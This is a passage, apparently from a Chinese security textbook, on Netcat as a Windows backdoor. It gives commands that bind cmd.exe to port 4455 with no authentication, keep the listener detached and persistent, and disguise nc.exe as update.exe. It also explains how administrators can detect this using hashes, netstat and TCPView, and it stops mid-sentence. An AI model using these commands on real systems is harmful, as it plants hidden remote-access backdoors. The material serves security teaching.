有些人希望在远程服务器上进入熟悉的
DOS
提示状态。这时,可以在一台
Windows
系统的
DOS
提示符下运行
nc.exe
-l-p
4455-e
cmd.exe
命令,这样任何远程登录到端口
4455
的
Telnet
甚至都不需要登录就可以看到一个
DOS
Shell
。
1)
连接到
REMOTE
主机,例子:
格式:
nc
-nvv
192.168.x.x
80
讲解:连到
192.168.x.x
的
TCP80
端口
2)
监听
LOCAL
主机,例子:
格式:
nc
-l
-p
80
讲解:监听本机的
TCP80
端口
在默认情况下,
Netcat
将在启动它的
DOS
窗口中运行,这就意味着当
Netcat
运行
时,控制命令提示符窗口需要保持打开。使用
-d
选项使其与命令提示符窗口分离后可以让
Netcat
一直运行,即使命令提示符窗口被关闭也不要紧。
c:\>nc.exe
-l
-p
4455
-d
-e
cmd.exe
这个命令很好地隐藏了
Netcat
后门。
然而,如果有人远程登录到端口
4455
并建立了连接,那么当这个客户终止连接时,
Netcat
在默认情况下会认为它自己的工作已经完成并停止监听。使用
-L
选项代替
-l
选项,
可以命令它连续监听(保持监听,并且当第一次会话结束后使用相同的命令行重新启动)
。
这个选项只在
Windows
中有效。
c:\>nc.exe
-p
4455
-d
-L
-e
cmd.exe
这个命令可以让黑客利用
Netcat
重新返回系统,直到系统管理员在任务管理器
(
Task
Manager
)中看见
nc.exe
正在运行,从而发现了这个后门为止。黑客可能会考虑到
这一点,从而把
nc.exe
重命名为其他名字。
c:\>move
nc.exe
c:\Windows\System32\Drivers\update.exe
c:\>Windows\System32\Drivers\update.exe
-p
4455
-L
-e
cmd.exe
系统管理员可能把特权赋予一些无害的程序,如
update.exe
等。然而,聪明的管
理员会在系统审查时检查文件的时间戳以及文件散列,如
MD5
。从发布的
zip
文件中获得的
未经修改的
nc.exe
的
MD5
指纹是
ab41b1e2db77cebd9e2779110ee3915d.
任务管理器会显示映像名称,但不会显示路径以及启动时传递到该映像的参数。
因
此这是黑客可以利用的另一个方面。
Netcat
的另一个特性是,如果不使用命令行选项来运
行,那么它将提示在标准输入设备上第一次输入的命令行选项:
c
:
\Windows\System32\Drivers\update.exe
Cmd
line:
-l
-p
4455
-d
-L
-e
cmd.exe
c:\>
现在,
如果系统管理员在
DOS
提示符下面运行可信的
netstat-a-n
命令,
就会注意
到某些不常用的端口上运行了某些程序,
远程登录到这些端口就会发现问题。
然而,
Windwos
系统自身及其应用程序也会因为需要而使用大量随机的端口,
所以分析
netstat
的输出是一
件非常耗时的工作,特别是当系统上存在大量的活动时更是如此。
TCPView
是一款很好的工